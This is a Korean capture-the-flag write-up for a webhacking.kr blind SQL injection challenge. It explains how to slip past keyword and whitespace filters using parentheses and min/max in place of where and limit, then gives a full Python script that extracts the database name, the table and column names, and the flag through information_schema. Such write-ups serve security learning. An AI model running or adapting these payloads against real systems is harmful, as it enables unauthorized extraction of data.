문제분석 & 풀이
sql injection 문제라고 언급하고있다.
FLAG{something}이라고 써있는 곳에 옳바른 flag를 입력하는 것이 목표다.
첫번째 폼에 1을 넣어 제출해보니 result 속성에 1이라는 값이 담긴 테이블을 연상하시키는 정보가 나왔다.
url을 보면 우리가 폼에 넣어 전송한 값이 no 파라미터로 전송되고있다는 것을 알 수 있다.
다른 값들도 넣어보았는데 2 이상의 값들을 넣었을 경우에는 위와 같은 결과가 나온다.
처음에 sqli 문제라고 언급을 했기 때문에, no 파라미터를 통해 sqli를 수행하면된다.
위에서 결과에 대한 출력값의 차이가 2가지로 존재했으므로 이를 이용하여 blind sqli를 시도하면 될 것이다.
목표는 위에서 언급한 것처럼 flag를 가져오는 것이다.
처음에는 union을 이용하여 sqli를 시도하려했으나 위처럼 no hack이라는 문구가 뜬다.
아마도 필터링에 걸린 것 같다.
union을 사용할 수 없기 때문에 if를 이용해서 메타데이터에 접근해보기로 했다.
우선 메타데이터(information_schema)에 저장되어있는 테이블 이름의 길이를 알아보기 위해 위와 같은 쿼리를 구성했다.
그러나 이번에도 no hack이 뜬다.
왜 그런가 확인해보니 where가 필터링에 걸린다.
where가 필터링되면 limit을 사용할 수 없기 때문에 테이블의 이름을 하나씩 가져와서 이름의 길이를 알아내기는 불가능 하다. (limit을 이용해 하나의 정보만 가져와야 하는 이유는 limit을 사용하지 않으면 차후에 테이블 이름을 구할때 여러 테이블 이름의 길이가 모두 구해지면서 혼동이 오기 때문이다.)
이외에도 공백문자도 필터링에 걸린다.
공백문자를 우회하기 위해 TAB, CR등으로 대체해서 시도했지만 똑같이 필터링에 걸린다.
그러나 공백문자를 우회할 수 있는 방법으로 괄호를 이용하는 방법이 있는데 이것을 시도해보니 필터링에 걸리지 않는다. 따라서 괄호를 이용해 공백문자를 우회해야 할 것 같다.
이제 where를 우회하기 위한 방법이 필요할 것 같은데 완벽한 방법은 아니지만 어쨌든 limit의 역할은 하나의 정보만 가져오는 것이 목표인 함수이기 때문에 select 구문에서 min 함수를 이용해 정렬 순서 중 가장 작은 값 하나만 골라서 테이블 이름의 길이를 알아보겠다.
물론 이 테이블이 우리가 원하는 테이블이 아닐 수도 있다.
참고로 필자는 python 스크립트를 구성해서 exploit을 했다.
값을 구해보니 14자리가 나온다.
○ 참고
여기서 잠시 알아야 하는 사항이 있다.
쿼리 예제들을 보면 괄호를 촘촘히 중간중간에 많이 쓴 것을 볼 수 있는데, 위에서 설명한 것처럼 공백을 우회하기 위해서 사용하다보니 많이 쓰게됐다.
여기서 주의해야 할 점은 사용한 괄호가 하나라도 안쓰거나 더쓰면 쿼리에 에러가 생겨 우리가 원하는 결과는 출력되지 않는다. (사실 필자는 이러한 점 때문에 이번 문제를 풀때 굉장히 삽질을 오래했다.)
그래서 필자만의 괄호를 공백 대신 쓸때 쿼리를 짜는 꿀팁을 알려주고자 한다.
위 사진은 최종 쿼리를 완성하는 과정이다.
가장 큰 틀에서 사용되는 함수(위 예제에서는 if문)를 기준으로 점점 안을 하나씩 추가해주고 있는 모습이다.
원래 쿼리를 짠다면 ----> 이러한 방향으로 보통 짜지만
위 방법대로면 --->( ) ---> 를 반복하여 점점 괄호안을 채워나가는 방식이라고 이해하면 편할 것 같다.
참고로 substr이나 if문 같은 인자가 여러개인 경우에는 상수인자는 바로바로 써주었다. (그래야 안을 채울때 안 햇갈린다.)
사실 명확한 기준이 없는 필자의 팁이기 때문에 설명하기가 난해하긴 했으나 이 방법이 오랜시간 삽질을 한 필자가 내린 최고의 방법이였다.
+ 위와 같은 방법을 이용해도되지만, vscode의 괄호 플러그인을 이용해서 색깔로 구별하면 더 쉽게 구성할 수 있다. 참고바란다.
다시 본론으로 돌아와서 테이블 길이가 14자리인 것을 구했으니 테이블 이름을 구해보겠다.
(참고로 substr은 필터링에 안 걸리지만 substring은 필터링에 걸린다.)
테이블 이름을 구해보니 CHARACTER_SETS 이라고하는 메타데이터의 테이블이 뜬다.
우리가 원하던 flag 값이 들어있는 테이블이 아니다.
이번에는 min 대신에 max를 써서 정렬 순서중 가장 큰 값의 테이블 값을 알아보았으나, 아쉽게도 이번에도 VIEWS라는 메타데이터의 테이블이였다.
운으로 때려 맞기를 바랬으나 잘못된 생각이였던 것 같다.
flag를 구하기 위해서는 flag가 들어있는 테이블의 이름을 알아야 한다.
우선 flag값이 들어있는 테이블은 지금 우리가 출력값으로 받고있는 result의 값이 들어있는 DB에 들어있을 것 같기 때문에 우선 현재 DB가 뭔지 구해보자.
위 쿼리들을 이용해 현재 DB의 값을 구해보니 chall13이 나왔다.
이번에는 다시 메타데이터에 접근하여 table_schema
→ 즉, DB명을 기준으로 min에 해당하는 DB명을 찾아서 chall13이랑 같은지 확인했다.
값을 구해보니 chall13으로 현재 DB명이다.
→ 즉, flag 값이 들어있을 것으로 추측되는 DB와 똑같은 DB값이 메타데이터에서 min으로 잡히는 것을 확인 할 수 있다.
그렇다면 이제 concat()을 이용하여 table_schema와 table_name을 결합하여 min으로 잡히는 현재 DB의 테이블 명을 같이 추출해낼 수 있을 것이다.
왜냐하면 table_schema + table_name 이면 table_schema 를 기준으로 정렬이 되고 이때 min에 해당되는 즉, chall13에 해당되는 레코드가 잡힐 것이고 뒤에 table_name 까지 붙였음으로 추출할때 chall13 DB에 존재하는 테이블의 이름까지 같이 추출해낼 수 있다!
값을 구해보니 위와 같이 나왔으며 chall13은 DB명임으로 빼고 뒤쪽만 보면 flag_ab733768이 테이블 이름임을 알 수 있다.
이제 똑같은 방식으로 메타데이터중 속성 데이터 쪽(information_schema.columns)에 접근하여 flag값이 들어있는 속성명을 추출해보자.
이번에는 위처럼 값이 나왔다. 처음에는 테이블이랑 똑같은 값인줄 알고 잘못 구한줄 알았으나 테이블이랑은 다른값이였다.
결론적으로 flag값이 들어간 테이블명 : flag_ab733768 , 속성명 : flag_3a55b31d
이제 이 정보들을 이용하여 flag의 값을 구해보자!
위 쿼리를 이용해 값을 구해보고자 했으나, 결과가 나오지않는다?
왜 그런가 고민하던 중 설마 테이블에 flag_3a55b31d 속성이 여러개가 있나 싶어서 min을 사용했다.
min을 사용해서 값을 구해보니 값이 구해진다!
드디어 푸나 했는데, 값이 flag라는 값이 나온다?
아마 flag_3a55b31d 속성의 여러 값 중 우리가 구해야하는 값은 min으로 추출되는 값이 아닌가보다.
이번에는 min을 max로 바꿔서 다시 값을 구해보았다.
flag가 구해졌다.
클리어!
exploit
from requests import *
leng=0
result=''
count=0
# DB 구하는 코드
for i in range(30):
url=f'https://webhacking.kr/challenge/web-10/?no=if((length(database()))in({i}),1,2)'
response=get(url=url)
if response.text.find('<td>1</td>') != -1:
print('DB 이름 길이 :',i)
leng=i
break
for i in range(1,leng+1):
if count>100:
print('query err')
break
for j in range(30,128):
url=f'https://webhacking.kr/challenge/web-10/?no=if((ord(substr(database(),{i},1)))in({j}),1,2)'
response=get(url=url)
count+=1
if response.text.find('<td>1</td>') != -1:
result+=chr(j)
count=0
break
print('DB :',result)
result=''
# table_schema가 DB(chall13)과 같은지 확인하는 코드
for i in range(30):
url=f'https://webhacking.kr/challenge/web-10/?no=if((select(length(min(table_schema)))from(information_schema.tables))in({i}),1,2)'
response=get(url=url)
if response.text.find('<td>1</td>') != -1:
print('table_schema 길이 :',i)
leng=i
break
for i in range(1,leng+1):
if count>100:
print('query err')
break
for j in range(30,128):
url=f'https://webhacking.kr/challenge/web-10/?no=if((select(ord(substr(min(table_schema),{i},1)))from(information_schema.tables))in({j}),1,2)'
response=get(url=url)
count+=1
if response.text.find('<td>1</td>') != -1:
result+=chr(j)
count=0
break
print('table_schema :',result)
result=''
# 테이블 구하는 코드
for i in range(30):
url=f'https://webhacking.kr/challenge/web-10/?no=if((select(length(min(concat(table_schema,table_name))))from(information_schema.tables))in({i}),1,2)'
response=get(url=url)
if response.text.find('<td>1</td>') != -1:
print('테이블 이름 길이 :',i)
leng=i
break
for i in range(1,leng+1):
if count>100:
print('query err')
break
for j in range(30,128):
url=f'https://webhacking.kr/challenge/web-10/?no=if((select(ord(substr(min(concat(table_schema,table_name)),{i},1)))from(information_schema.tables))in({j}),1,2)'
response=get(url=url)
count+=1
if response.text.find('<td>1</td>') != -1:
result+=chr(j)
count=0
break
print('테이블 :',result)
result=''
# 속성 구하는 코드
for i in range(30): # 테이블 이름 길이
url=f'https://webhacking.kr/challenge/web-10/?no=if((select(length(min(concat(table_schema,column_name))))from(information_schema.columns))in({i}),1,2)'
response=get(url=url)
if response.text.find('<td>1</td>') != -1:
print('속성 이름 길이 :',i)
leng=i
break
for i in range(1,leng+1):
if count>100:
print('query err')
break
for j in range(30,128):
url=f'https://webhacking.kr/challenge/web-10/?no=if((select(ord(substr(min(concat(table_schema,column_name)),{i},1)))from(information_schema.columns))in({j}),1,2)'
response=get(url=url)
count+=1
if response.text.find('<td>1</td>') != -1:
result+=chr(j)
count=0
break
print('속성 :',result)
result=''
# 최종적으로 flag 값을 구하는 코드
for i in range(30):
url=f'https://webhacking.kr/challenge/web-10/?no=if((select(length(max(flag_3a55b31d)))from(flag_ab733768))in({i}),1,2)'
response=get(url=url)
if response.text.find('<td>1</td>') != -1:
print('flag 이름 길이 :',i)
leng=i
break
for i in range(1,leng+1):
if count>100:
print('query err')
break
for j in range(30,128):
url=f'https://webhacking.kr/challenge/web-10/?no=if((select(ord(substr(max(flag_3a55b31d),{i},1)))from(flag_ab733768))in({j}),1,2)'
response=get(url=url)
count+=1
if response.text.find('<td>1</td>') != -1:
result+=chr(j)
count=0
break
print('flag :',result)